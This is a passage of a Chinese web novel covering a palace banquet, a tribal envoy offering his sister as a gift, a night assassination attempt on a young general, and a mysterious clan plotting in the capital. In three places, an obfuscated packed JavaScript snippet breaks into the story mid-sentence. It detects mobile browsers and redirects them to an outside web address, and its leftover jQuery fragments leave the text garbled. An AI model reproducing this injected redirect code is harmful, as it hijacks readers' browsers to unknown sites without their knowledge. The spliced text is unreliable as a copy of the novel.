她竟是个女子！ “传闻，深海之中亦有异族，其名为鲛。鲛人是大海的使者，他们若是悲伤到极致，落泪滴下便会凝成海蓝宝珠。” 女商人声音空灵和缓，带着笑意娓娓道来。“宝珠价值万金，可代价是流泪的鲛人将会永远失去光明。她们只能日夜以秘音呼唤同伴，吸引渔船，然后——残忍捕食。” 白挽抬头与女商人四目相接，这才惊觉，她竟生着一双如深海般辽阔的蓝色眼眸。 她竟是“蓝影”！ 异族部落上百余个，星罗棋布，各有脾性。 百余年来，各部各自为战，内斗不休，面对蜀西大军时，往往如一盘散沙。然而异族战士生于马背，体魄强健，即便在蜀西重甲铁骑的压制下仍顽强抗争，勉强御敌。 直至数年前，异族中崛起一支极具统领之才的族人。他们没有强劲的体格，却以极强的战略手段和精妙的军事部署扬名。 在蜀西的强势进攻下，“蓝影”指挥各部逐点击破，反败为胜，令濒临溃败的异族重振雄风。 更有传言说，他们可以操控人心。 这支异军突起的统帅，被各部尊称为“蓝影”。 多年的养精蓄锐， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576070|187118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让异族大军被淬炼得勇猛异常。各部对“蓝影”由衷尊崇，狂热者甚至视若神明，日日顶礼膜拜。他们期盼蓝影能带领异族开疆拓土，终有一日将蜀西国纳入囊中。 而如今，蓝影族人竟已悄然抵达京州城。 —— 宁鸾醒来时，身侧床榻早已凉透。 身边床铺叠得整齐，唯有昨晚放在枕上那块寒髓珍玉不见踪影。她指尖抚过红绸褶皱，唇角扬起一丝笑意。略加梳洗后，她便着手安排起今夜的宫宴事宜。 青露从外边进来，悄悄从袖中取出一封密信，小声道：“小姐，望春楼递来的消息。” 宁鸾拿过信件，展信是青霜熟悉的笔迹。青霜向来事无巨细，除去汇报望春楼中需宁鸾定夺的事务外，更是花费大量笔墨，着重写了她这几日跟踪时鸿小将军的所见所闻。 从时鸿小将军房内“剑窟”般的布置，到床下暗室启动机关的手法方式，甚至记录了时厉东老将军训人的语气神态，应有尽有。 “这丫头……”宁鸾指尖轻点信件最后几行，神情微妙，那是青霜被发现行踪，自行请罪的字句。 “小姐，那边怎样？”青露眼见宁鸾表情怪异，陷入沉思，只当是任务不顺，连忙问道。 “青霜无恙，就是任务中出了些许意外。待宫宴结束，我们去一趟望春楼。”宁鸾沉吟片刻： “磨墨。” 不过须臾，她已提笔写下回信，笔锋转折间，既未批评苛责，也未提及惩罚，只道万事小心。 …… 暮色沉沉，百盏宫灯亮起，鎏金殿内灯火辉煌。数十名宫女手捧金壶玉盏，静立两侧。 文武百官各携家眷，按品着端庄礼服，在鎏金大殿内依次落座。 “皇上驾到——”太监尖细的唱名声从殿前传来，皇帝身着明黄龙袍，头戴垂珠冕冠，从大殿一侧信步走出。 “众爱卿平身。” 宁鸾抬眼看向这位九五之尊。龙椅上的天子年过五旬，双鬓微霜，眼含浑浊之色，与几年前宁鸾印象中那精神矍铄的样子相去甚远。 “此番攻破异族南部部落，收复七城，实乃我朝之幸事！”皇帝缓缓起身举杯，“今日为功臣——镇南王庆功，众卿不必拘礼！” 一时间，殿内丝竹悠悠，彩裳舞姬翩然起舞。宁鸾忽觉人群中一道视线若有若无扫来，环顾四周，竟发现来自小将军时鸿。 被认出来了？宁鸾状若害羞，以宫扇轻掩容颜。 时鸿坐在宴厅的另一端，自见到宁鸾身影起便心如擂鼓、目光难移。 他自知这般注视不仅冒昧，更于礼不合，却越看越觉那眉目异常熟悉，仿佛似曾相识。可自程慎之去往边关三年，宁鸾作为女眷从未独自参加宫中任何宴席，二人之间并无交集才对。 未等时鸿理清思绪，酒过三巡，殿外盛放的焰火将夜宴推上顶端。 “报——南部异族使者到！”太监高声通传，让殿内热烈的气氛停滞了一瞬。 一队异族打扮的人鱼贯而入。为首那人缠着黑色头巾，额上纹着狼形图腾刺青盘踞，在殿内显得格外妖异刺目。 “禀圣上，南部七城联名请献降书，并进献我族特有珍宝，还请圣上垂怜笑纳。” 说着，为首那人带领队伍，以异族礼仪向皇帝行礼。礼毕后，他捧上一副竹制的降书，静静等待着皇帝开口。 皇帝示意太监接过，粗略一看，连连以手击案，朗声大笑道： “极好！极好！异族七城已归属我蜀西，往后蜀西以南，异族部落尽收版图，便是指日可待！” 说罢，他命太监收起降书，带着几分审视与威压，看向为首那人： “异族使者，报上你的姓名。” 11. 酒宴美人 那异族使者缓缓抬头，额上的狼图腾在灯光下泛着青色幽光。他操着生硬的汉话答道： “回禀圣上，在下名为耶律·阿尔达，乃七城之首，乌南城城主。” 殿中顿时响起窸窣低语。 程慎之捏着酒杯的手顿时握紧，杯中的酒水洒出几滴。他当然记得这位城主，当年边关冒雨血战，正是这位耶律城主冲锋在前。 那时候的耶律双目赤红，神色如狼，满身带着雄心豪志的冲劲。那次讨伐里，蜀西国一方至少折损两千将士，鲜血染红了整片戈壁。 而眼前宴会中的他，虽依旧如狼般刚烈，却已然失了当初的血性。 耶律抚胸行礼，只沉声开口道：“圣上，这次前来京州，除了献上七城的降书，我们也带来了异族的珍宝，还请圣上过目。” 话音未落，身后壮硕的异族侍者应声而动。两人手捧托盘稳步上前，另有数人推出一个两米高的铁笼，笼上的黑色绸布随风鼓荡，从吹起的一角中，难窥探里面所盛之物。 那耶律望了眼铁笼，神情黯然一瞬，随即示意众人看向托盘，开口介绍。 “启禀圣上，此乃我族圣物，名为''日月玄血珏''”。他掀开其中一盘的赤红锦缎，道：“这一边名为''日''珏。”又捻开另一边的蓝色绸缎，“这一边名为''月''珏”。 他忽然压低声音，语调中带着神秘的韵律。“我们神明喻示，若是星象交错，两珏合璧，可使天地变色，日夜颠倒，昼夜黄昏为之停滞。” 他带领着身旁两位侍者俯身行礼：“现在，特将日月玄血珏进献圣上，愿圣上一统中原，万寿无疆。” 殿中众人纷纷向盘中看去。只见那日珏质地如羊脂白玉，温润无比。月珏色泽如凝血，内里似有脉搏跳动。 两珏纹理相合，路数相通，自有一股玄妙之感。 “善！善哉！”皇帝闻言大喜，命太监呈至御前，细细端详把玩。 程慎之抬头去看，心知那些描述不过是编出来的故事。端详间，却觉得这玉珏颜色比不上寒髓珍玉半分，心中顿时掀起一阵波澜。 他下意识偏头看向宁鸾，却见宁鸾眉头微蹙，眼也不眨地看着那大铁笼。 “圣上，方才所呈，乃第一件宝物。请圣上且看第二件。”耶律迈步向前，眼中闪过一丝痛色，手中猛然扯落笼上黑绸。 黑色帷幕流水般落下，笼中景象乍现。只见铁笼之中，一位金发美人傲然立于中央。 定了定神，耶律闭眼深吸一口气，朗声介绍道：“这是舍妹沙蔓·阿尔达，是乌南城最璀璨的明珠。愿她能侍奉君侧，以悦圣心。” 宁鸾眉头皱得更紧，她向来不喜这般将活人作为礼物的行径。 “咔哒”一声，耶律拉开铁笼闸门。沙蔓从笼中踏出，满殿烛火都为之黯淡。 不同于京州女子的柔美，沙蔓身材高挑，曲线婀娜，步伐极具弹性。她脸庞小巧，鼻梁高挺，肌肤泛着丝绸光泽，充满异域风情。 她穿宝蓝色的紧身上衣，衣上坠着金铃，随着她步伐发出细微的声响。她大胆露出纤细腰肢，湛蓝长裙高高开衩，露出充满力量的长腿。明艳的色彩不断冲击着在场宾客的视线。 宁鸾望向程慎之，见程慎之面色也不佳。二人目光相接，皆在彼此眼中看到同样的漠然与悲哀。 皇帝高坐龙椅之上，此时已看直了双眼，冠冕前的珠帘随着呼吸剧烈晃动。 看到皇帝满意的表情，耶律暗松一口气。他高声道： “沙蔓不仅是乌南城第一美人，更是南部赫赫有名的舞姬。愿为圣上献舞助兴，请圣上一观！” “沙蔓拜见圣上。”沙蔓嗓音低哑深沉，听来别有一番韵味，“还请圣上许奴家献上一舞，为今日宴会助兴。”她提起层叠的裙摆，接过旁人递来的手鼓，摆出一个起舞的姿势。 耶律与其他异族侍从分列两侧，低吟起异族古老神秘的歌谣。沙蔓合着歌谣节拍，身若灵豹，在大殿中跳起热情奔放的舞蹈。 她手中鼓点轻响，裙裾随之飞扬，飞速旋转将裙摆舞成怒放的大花。 满殿宾客屏息凝神，连宁鸾都被这惊艳舞姿慑住心神。皇帝浑浊的眼中发出异样的光芒，干枯的手指不住敲打面前的金案。 一舞毕，皇帝连连抚掌赞叹，“美人……不，爱妃的舞姿真当是这世间一绝！”当即赐其御前就座，伴驾于龙椅之侧。 在座明眼人都能看出，皇帝的心思，早已被今晚耀眼的沙蔓夺去了。 宴会进行到这里，差不多进入尾声。皇帝已迫不及待去享用他新得的美人，未再多留便宣告散席。 程慎之为宁鸾披上斗篷，两人正欲离去，忽闻身后传来一声急促的呼唤： “镇南王妃，请您留步！” 宁鸾闻声回首，迎着走廊下灯笼的亮光，见时鸿正疾步奔来。程慎之剑眉微挑，不动声色地侧身，将她护在身后。 来人程慎之自然认得。边境讨伐时，这位小将军虽称病迟来，却在前线妙计频出，几次埋伏时机之准，连他都曾为之叹服。 认识他程慎之当然没有问题。可是，他口中唤的，偏偏是“镇南王妃”？程慎之眸光骤冷，周身气息愈发凛然。 宁鸾心下无奈，料定时鸿是因她与“林公子”几分神似才贸然追来。可这事程慎之不知，旁人更不知。 她只得端出茫然神色，唇边浮起恰到好处的浅笑，对着时鸿微微行礼道：“时将军。” 时鸿一路穿人群小跑而来，加之酒意上涌，此刻撑膝喘气，满身酒气扑面。 “王……王妃，我是想说，您长得像一把剑，当真好看！” 话音未落，时鸿瞬间感受到程慎之如雪刀般的锐利目光，脊背一凉，下意识打了一个寒颤，忙改口道：“不、不是！是您很像在下的一位故人！” 时鸿自觉越描越黑，抬手抹一把额边的汗水，干笑两声，“故人，故人，嘿嘿。” 开玩笑，别人不知程慎之深浅，他时鸿还能不知道吗？！ 世人皆说程世子寡言少语，无甚大才，守边多年，仅能维持两地互不侵扰。后因异族疲惫，才借他时鸿之力拿下七城，夺得战功。 可时鸿是亲历过战场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576071|187118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人，知晓当初程慎之带走的兵马本就不足，却能在那烽火连天、战事频仍的边境周转自如，天机算尽，既保将士性命，又求一线胜机。 若他是个贪功冒进之人，或许胜利来得更早，却定要以无数将士的性命为代价。 时鸿敬佩他仁德的善举，更是仰慕他排兵布阵的精准盘算。 被这样的人盯上，就像是被潜伏在黑夜里的野兽无声锁定。而此刻，时鸿正是程慎之眼中那个猎物。 宁鸾见时鸿面红语塞，知他一急便口不择言，便轻声解释道：“时将军有所不知，家父宁丞相在朝为官，家中尚有兄弟姐妹，许是将军曾见过，才觉面熟。” 时鸿酒醒了大半，也暗恼今日唐突至极。可醉眼朦胧间，宁鸾侧影与林公子如出一辙，连发丝垂落弧度都相似。他恍然仿佛又看见那日小春台上，执扇笑谈着玄烈剑典故的林公子。 他想还剑之情，品茗说剑，共话杂谈。可那如冰雪寒剑一般的林公子，自那日后见过一次后便消散人间，他屡屡前去蹲守，都再未得见。 今日忽见宁鸾神态身影，一时激动下，竟失态地大喊留人。林公子是个男子，岂是金枝玉叶、风光正盛的镇南王妃？ 时鸿你清醒一点！ 他慌忙对着宁鸾连连作揖，指尖不自觉搓着衣摆，“王妃说得极是，定是我今晚贪杯，醉眼昏花认错了人。您千万别见怪！” 程慎之冷哼一声，抱臂看向一边。 “无妨。”宁鸾笑笑，扭头看着程慎之。“咱们走吧？” 她一把挽过程慎之的手臂，程慎之眸光微怔，再顾不得其他，“走。” 二人相携离去，留时鸿挠头呆望背影。 “可就是很像嘛……” …… 时鸿回到将军府中，时厉东早已歇下。。 朝中皆知老将军年岁已高，当年征战前方，提携玉龙，为圣上立下汗马功劳。但多年的前线生涯，早已伤及他身体根本。 所以宫中的宴会盛席，时厉东都尽可能称病不去，在府中静养。 时鸿回到自己兵器铺一般的卧房当中，想起今日唐突之举，痛苦掩面大叫：“我怎么能蠢到这个地步啊？！” 不仅给宁鸾留了坏印象，更开罪了程慎之那尊杀神。 时鸿一脸沮丧，凭空挥出几拳。 现在冷静一想，宁鸾性格柔和，温婉端庄，与那日望春楼林公子高傲贵气的模样判若两人，自己当时怎会认错？ 哎…… 林公子也真好看啊，即便戴着银面具，未见全貌，单是站在那里，就像是他心爱的寒霜冰剑般清冽出尘。那般从容气度，就绝非一般人可比。 林公子允我进旁人都不能进的望春楼顶层。 林公子曾对我展颜一笑。 林公子还费心劳力为我寻剑，最后未取分文！ 时鸿躺进床上，打了个滚儿，把头埋进枕头里，自觉忽视了林公子当时说过的“过后再取报酬”，心中蓦然升起一个大胆的想法。 “林公子待我如此……该不会是，看上我什么了吧？！” 12. 青霜月影 青霜早已换了根更隐蔽的横梁蹲守，闻言差点脚下一滑。 这人莫不是疯了？她家主子谪仙般的人物，怎可能看上他什么！ 她捂住额头，偷偷向下望去。只见时鸿两眼放空，喃喃自语：“也不对……林公子都不愿见我。”他面露痛苦，似不愿面对这“残酷现实”。 青霜无奈地叹一口气。这人打回府就不太对劲，不仅浑身酒气，还不时痛苦哀嚎，亦或是对着空气打拳，怎么看都像是受了莫大刺激。 “唰唰唰！” 异变突生！三道破空声从下方擦过，青霜心头一紧，忙向下方望去。 只见三枚柳叶短刃破窗而入，直取床上时鸿眉心。 时鸿虽是醉眼迷离，可多年习武，又在杀场历练一遭，对危险的感知力远超常人。杀气骤现，他猛然一震，未及细想便翻滚至床下桌案旁。三道银光闪过，短刃齐齐扎入枕中，刃柄泛着渗人的寒光。 顿时，时鸿酒意尽散，旖念也跑得无影无踪。他反手扣住腰间金鳞剑，这是为了赴宴携带的装饰用剑，剑柄以金丝缠绕，反倒影响手感。 时鸿绷紧神经，警惕打量四周。 青霜亦觉不妙。这飞刃直取性命，若时鸿反应稍慢，早已血溅当场。她扣住暗器，蓄势待发。主子安排她来监视时鸿，未必不是保他性命的意思。 时鸿在明，对方在暗，但若是对方再次痛下杀手，她也可杀对方措手不及。 时鸿略加思索，提剑踏入院落，那银刃从屋外射入，刺客必藏于院中。 树影婆娑，四处一片沉寂，只闻远处几声虫鸣。 门外守夜的侍卫横斜横倒于地，时鸿走上前去一摸，鼻息尚存。约莫是被下了迷魂散之类的药物，稍过时日便能醒来，无甚大碍。 时鸿心下稍安，却不想身后杀机骤现，一柄短刃突兀出现在他颈侧！ 时鸿眼中精光一闪，反手提金鳞剑去挡。只听“哐”地一声，刀刃在空中格挡，火星迸溅，碰出寒峭剑光。 时鸿急速转身，来人一身白衣，赫然一副异族面貌。他双手紧握的也并非短刃，而是两柄寒光凛凛的峨眉刺。 那白衣人被长剑抵挡，借势倒退半步，摆出防御姿势，紧盯着时鸿。 时鸿单手持剑，剑尖斜指地面的青石砖。他放缓呼吸，像一头蓄势待发的豹，身上无形剑气纵横。下一瞬，他低举金鳞剑，起手一势“横扫千军”，直劈向那白衣人面门。白衣人双刺交错，脚尖微点侧移，一面格挡，一面如暴雨梨花般用峨眉刺锥向时鸿，一副不达目的誓不罢休的架势。 来回约二十几招，时鸿剑术超绝，借着浑身蛮力，打得白衣人节节败退。青霜早已掀开瓦片，借着夜色和树枝的遮掩翻上屋顶，暗暗观察着两人的战况。 此次暗杀来得蹊跷，她不出面自是最好，待将今夜情况传给主子，自会有擅长打探的侍从们参与行动，打探白衣人来历行踪。 见时鸿争得上风，青霜正欲松一口气，却是见异变突生。 电光石火间，那白衣人看准时机，用尽全力握紧双刺，化刺为矛，精准戳向剑柄七寸。 那金鳞剑本就侧重外观，剑身脆弱，受力竟应声而断！白金色的剑刃猛然弹出，“哐当”一声落在不远处的青石板地面上！ 时鸿未曾想会断剑，一时不察，关键时刻竟愣了神！他嘴唇微张，握着剑柄呆站在原地。 他的宝贝金鳞剑！ 白衣人见机疾攻，峨眉刺直划时鸿咽喉！时鸿怒目圆睁，急速抬臂却只余剑柄，格挡不及，只能眼睁睁看着峨眉刺尖逼至喉前！ 一生中最爱的是剑，最信任的也是剑，偏偏却死在峨眉刺下。 思绪飞转间，他脑中最后画面，竟是那日林公子垂眸品茶的悠然的侧影。微醺日光下，那人指尖莹白，腕骨轻抬间尽显修雅风度。 这样的手，若是执玄烈剑，应当也是极妙极美的。若是还有机会，真想与他成为知己，再话小春台……桌上若再有一只那日的烧鸡，与黑衣人共品，便更完美了。 时鸿自知难逃一劫，心中胡乱瞎想着。他认命闭上双眼，只等疼痛来临。 “叮——” 微小的金石碰撞声响起，时鸿猛然睁眼，恰见一把银针撞偏了峨眉刺，刺尖在脖子上划出一道浅浅的血痕。 “阿卡伊鲁！”那白衣人惊诧不已，下意识吐出一句异语，嗓音竟然是粗壮浑厚的男声。 院中本在缠斗的两人瞬间抬眼，向银针来处看去。 只见一人静立屋檐之上，一袭黑袍被夜风撩起，勾勒出略显纤细的身形。那人手中一把雕花银针，在月色下反射出烁烁银光。 那白衣人见势不妙，扭头便想逃出院去。青霜抬手，三枚银针封其去路。随即轻功几步，轻点屋檐，手中银针接连发射，处处指向白衣人落脚之处。 白衣人躲避不及，脚下被院中湿滑苔石一绊，顿时失了平衡，踉跄倒地。 青霜飞身落进院中，黑色细剑应声出鞘，直指白衣人咽喉。就在剑尖即将刺入的刹那，时鸿猛然从身后暴喝： “快躲开！他要自爆！！” 话音未落，他已一把扯过青霜衣袖，揽住她向后急掠。 “轰！”一道火光瞬间炸起，在院中剧烈翻起黄色尘土。剧烈的气浪将二人狠狠掀飞，冲击下两人在院中翻滚几圈，直至撞上树干才停止下来。 青霜离爆裂中心更近，所受冲击尤甚。她强忍晕眩，自半晕的时鸿怀中撑起身子，急望向白衣人的方向。 烟尘散尽，只见遍地都是飞起的衣服碎片，躺在那里的白衣人血肉模糊，定是已经无力回天。 青霜心念急转，闹出这般动静，院外值守的侍卫定会马上赶来。刺客同伙纵然再想对时鸿下手，今日恐怕也难有作为。 反之，若她身份暴露，必将牵连望春楼与主子的大计。今日受伤已属意外，绝不可再陷危机之中。 思及此，青露强忍伤痛起身，欲在侍卫赶来前脱身，逃离这个是非之地。 “侠士！”时鸿已撑墙站起，神情复杂看向青霜，喘息着抱拳道：“今日多谢侠士救命之恩，在下定当涌泉相报！敢问侠士高姓大名，也好容我……日后相报。” 青霜冷冷一笑，嗓音低沉未答。她回头深深看了时鸿一眼，不再留恋，纵身跃上屋檐，几个起落便消失在夜色之中。 回到望春楼，青霜迅速安排暗线继续监视将军府周边，令侍人备好纸墨，自行转入内间。 小心撕下粘连皮肉的黑袍，青霜面无表情地检视伤势。洁白如玉的身体遍布旧痕，新添的几处烧伤浸足了血，与腰后撞出的淤青连成一片。 她翻出几瓶药膏来，咬牙在伤口上涂抹开，动作干净利落，不见半分迟疑。 内室案几早已备好笔墨，不过多时，一封加急密信已悄然送出。 …… 白挽从坊市回到镇南王府时，天色已经渐晚。 她独自坐在房中，心绪久久不能平静。那异族女商人仿佛自带一种魔力，说出的每一句话都像烈火，点燃她躁动不安的魂灵。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576072|187118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想要获得程慎之的心，不仅要去靠近他，讨好他，还要够狠，忍得下心，下得去手。 异族女子，生来就该当猎手。 白挽从怀中掏出一把袖珍匕首，这是那名女商人临别时，特意给她的礼物。 匕首长约七寸，形若月牙，通体以精铁打造，呈现出淡默的银灰色。刀柄生出两条灵蛇，缠绕成诡谲的纹路，蛇眼交汇处，硕大的金色猫眼石镶嵌其中，如活物一般注视着持刀之人。 白挽轻抚匕首，神色迷离。 与那女商人摊前相遇，二人皆从对方眼中看到了渴望与了然。甩开随行侍卫后，她们便在一旁寻了茶肆相谈。 没了外人的打量，慕达莎潇洒扯掉蒙面的白布和轻纱，露出一副典型的异族相貌。她染着红色蔻丹的手指略微梳理，瀑布般的黑色长卷发顺着流淌下来，热情洋溢地披了满肩。 “我名慕达莎。”慕达莎红唇微张，每个音节都带着异族特有的韵律。她深蓝的眼眸打量着白挽，随即露出满意的笑容，“我们已经等了你很久了。” “等我？”白挽疑惑。 却见慕达莎突然肆意大笑，如歌唱般高吟：“我们为神谕而来！神不会亏待他的每一位信徒！而你，神的使者，我们听到了你内心的呼唤！” “我的呼唤？”白挽垂眸，想起昨夜被程慎之拒绝，情绪顿时低落几分，“我对神明没有兴趣。” 她不想再搅进异族人对神明的信奉中，只想将自己挑选的心仪之人奉为神明。 “你会有兴趣的。”慕达莎见她不信，轻蔑一笑，“神谕之下，这是迟早的事。” “你们到底要做什么？”白挽不想再提神明，“你要知道，现在的京州并不欢迎异族人，自然，也不欢迎你我。” “我当然知道这里排斥我们。”慕达莎坐起身来，侧脸瞟向窗外坊市中熙熙攘攘的人群，“排斥，是因为我们的强大，给这里弱小的臣民带来了恐惧，带来了不幸。” 慕达莎妩媚站起身来，盯着白挽，“只有弱者才会惧怕强敌，强者只会竭力赞美他们钟爱的神！” 她突然俯身逼近白挽，对着耳畔漠然低语，像蟒蛇看准了猎物，伸出了尖锐的獠牙： “就像你，明明渴望那个人的心，却只敢躲在恩情的阴影里，不敢前进一步。” 白挽瞳孔骤缩。 慕达莎看着她的神情，满意坐进软座，“你既知我眼瞳的秘密，自然也知晓我们''蓝影''一族的能力，我们依靠的从来不是刀剑蛮力，而是看透人心的眼睛。” 她又突然哧哧笑起来，举手投足间尽显媚态，“我们早在南部就听闻了你的事迹，知你有靠近世子，哦不，现在该叫镇南王了。” “你既得近镇南王之机，便是神最宠爱的信徒。所有异族人都需要你的相助。” “……”白挽有些无措，她知道选择跟随程慎之，或许会面对异族人的怒火。众人皆晓她对程慎之有救命之恩，于异族而言，她便是叛徒。 却不想蓝影早已盯上她，反说异族需要她。 作为异族子民，她自然崇敬统领异族的蓝影部落，如今真正见到蓝影族人，却是惊惧交加。 是合作？还是远离？ 蓝影一族善谋善略，在战场中尽显神通，眼下虽是异族战败，但未必不是缓兵之计。他们既入京州，必有图谋，且极可能牵涉镇南王府。为求自保，或许也该…… 白挽抬眸，声音微颤： “你先告诉我，神明需要我……做些什么？” 13. 名剑和画 夜晚，镇南王府侧殿。 烛火将灭，最后一丝微光在床帐上映出摇曳的影。 白挽在床榻间辗转难眠，丝质寝衣已被冷汗浸透，紧密地贴在肌肤上。她双眼紧闭，仿佛陷入无法挣扎的绝望梦魇。 那些深锁的记忆死灰复燃，化作滔天烈焰，浓烟滚滚下，白挽一阵窒息。 支离破碎的夜幕中，无边无尽的烈火漫天翻滚。树木扭曲燃烧，枝干仿佛地狱爬出的鬼影，张牙舞爪着吞噬一切。整个村庄陷入火海，白日里还慈眉善目的村民们，在火焰中发出最后的嚎叫。 火光撕破夜幕，妇孺的哭喊不绝于耳，像是钝刀，一次又一次折磨着她脆弱的神经。焦黑的人们伸出绝望的手，那黝黑的掌心中裂出猩红的血肉，猛然就要抓住她的裙摆，将她一起拖进地狱永世沉沦。 “啊！——” 白挽猛然惊醒，从床上坐起身来，喉咙间溢出声声破碎压抑的喘息。她无意识抬手探向枕下，那柄蛇纹匕首触手生凉，让她微缓过神来。 夜风吹动着轻纱床帐，慕达莎蛊惑的话语回荡在耳畔。 “你是火焰中加冕的神使，阻碍你前路的敌人，都该用火焰焚烧为灰烬……” 夜色还长，窗外竹影婆娑摇动。 白挽闭眼躺下，一张张脸庞从眼前急速掠过，她缓缓睁眼，唇角绽开狰狞绝望的笑。 …… 望春楼。 “小姐！”青露捧着药膏的手微微发抖，“姐姐她的伤……” “劳主子奔波。”青霜低垂下眼眸，“青霜无碍。” 宁鸾轻抚过青霜眼下狰狞的擦痕，指尖蘸了药膏细细涂抹。昨日接到密信时，宁鸾已暗中调配，准备冒夜前来望春楼。却碍于程慎之在府中，不便行动，只得清晨借采买之名出门。 见青霜伤势虽是骇人，却未伤及根本，休养几日便可恢复，众人皆是松了口气。 “近日京中可有异动？”宁鸾落座，悬着的心稍微落下。 青霜将重要密报一字排开，拣出几封递上，“主子，最近收集到的情报众多，多与异族相关。” 青霜稍加思索，冷静分析道：“异族商人大量涌入京州城，隐匿于坊市街区。其中一拨商人尤为出挑，他们皆身着白袍，在坊中闹市摆摊，所售皆是南部珍宝，引得百姓争相围观。” 青霜顿了顿，接着道：“白袍商人人数众多，以一位蓝眸女子为首，被商人称呼为‘慕达莎’。在她的带领下，异族人明面上售卖稀有商品，可实则在京州各处安插眼线，暗中联络京州得势的异族，图谋不轨。” 宁鸾皱起眉头，陷入沉思。 随行而来的青露轻车熟路，为二人奉上新沏的碧螺春。她心思单纯，与青霜不同，听不懂也不愿懂这些弯绕。在她心中，只盼小姐一切安好，能与姐姐永远相伴左右，如此，便已心满意足。 “继续派人盯着。”宁鸾端起茶杯轻抿一口，朦胧水汽晕湿了她清亮的眼。 青霜也盯着碧螺春沉思，恍惚想起，某个人曾请她喝那放陈了几年的老窖碧螺春。 “异族此番来者不善，昨日时鸿将军遇刺，也多半是他们所为。”宁鸾沉思，望向站立一旁的青霜，“青霜，最近镇南王府周围，是否也多了白袍的异族人？” 青霜眼底闪过一丝讶然，下意识回道：“主子神机妙算！” 她展开一张简易的京州城地图，在几处红圈处轻点，“最近镇南王府周围，尤其是这几处要道，多有白衣人频繁活动，似在探查什么。” “那便是了。”宁鸾放下茶盏，瓷器与桌底碰撞出清脆的声响。“慎之和时鸿都是讨伐异族的功臣，亦是异族首要记恨的对象。慎之回府后已调精兵将王府围得铁桶一般。” “但将军府则不然。时老将军性情刚直果敢，最不愿暗中布防。”宁鸾无奈。 青霜恍然大悟，“那主子您安排我去监视将军府，也是因为……” “是，唯有你的轻功和隐匿术高超，有把握瞒过时大将军的敏锐直觉。”宁鸾看着青霜脸上擦伤，满目痛惜。 “那异族若要报复，在王府无法下手，只得另寻机会对将军府出手。”宁鸾起身，上前抚摸青霜脸上的擦痕，“不想他们如此激进，当即要取时鸿性命，还连累了你。” 宁鸾眼眸中的怜惜越发深切，“青霜，你可会怨我？” 青霜突然跪地，脸上冷色消散无几，“夫人和主子救我们姐妹于水火之中，为主子做事，青霜从无怨言，只恐不足报主子恩德！” “小姐！”青露也跟着跪下，接连点头，忙道： “奴婢与姐姐一样，夫人当年为我们思虑深远，我们无以为报，愿一辈子跟着小姐！” …… 望春楼六层，珍宝阁。 时鸿跛着条腿，拿着一张画像，正对面前的侍者手舞足蹈地比划着。 望春楼六楼是京州有名的珍宝阁，这里不仅出售最值钱最稀有的珍宝，也同样售卖最古怪最难得的情报。传言道，只要出得起价，没有望春楼打听不到的。 宁鸾换上男装，戴着那银质的鸾鸟面具，顺势下楼视察楼中情况。刚迈入六楼，一片人声嘈杂中，便看到珍宝阁估价处一道熟悉的背影。 宁鸾屏退了青露青霜，独自走上前去。 “时将军，又见面了。”她“唰”地合拢折扇，扇尖点在时鸿肩头。 那时鸿正在苦恼，闻声转头一看，瞳孔紧缩，当即就要大喊出声：他当然认得这张面具！ 宁鸾早有准备，直接用扇骨抵住他嘴唇，微微摇头递上一个眼色。 众人皆传闻望春楼掌柜姓林，然除七层侍者外，几乎无人见过林公子真容。时鸿作为宁鸾一时兴起邀上楼的客人，自不能让他贸然暴露了她的身份。 时鸿乍见意料之外的人，脖颈瞬间红到了耳根。他圆睁双眼连连点头，示意不会乱说话，喉结滚动咽下呼喊。 宁鸾这才放下手来，“哗”一声展开折扇，压低嗓音问道：“时小将军来我望春楼，所为何事？” “公……公子。”时鸿嘿嘿笑着，不好意思地摸着头。“没想到在这遇见，真巧、真巧！我就想打听个人！本想找公子问问，没想到上不去楼，只好在这六楼碰碰运气。” “哦？”宁鸾眼底疑惑，“什么人？” 时鸿双手一展，将画卷徐徐拉开。只见画上几笔写意，勾勒出一道迎风而立的身影。那人一身黑衣，腰悬纯黑长剑，虽面目不清，气质神韵却是格外出挑。 宁鸾一眼扫过去，这画像上的黑色人影，不是那青霜又是谁！ 时鸿举着画，脸色随着宁鸾的打量，红得更像只熟透的海虾。“我……我画术不精，公子见笑了。”他声音越来越低，目光却忍不住去瞟那张鸾凤面具。 今日一见，更觉林公子势如破竹，一派风流，颇有股凛然之气。与镇南王妃的端庄守礼、温柔似水截然不同。 若是说林公子是淬了寒冰的青锋，在清冷遗世的性子 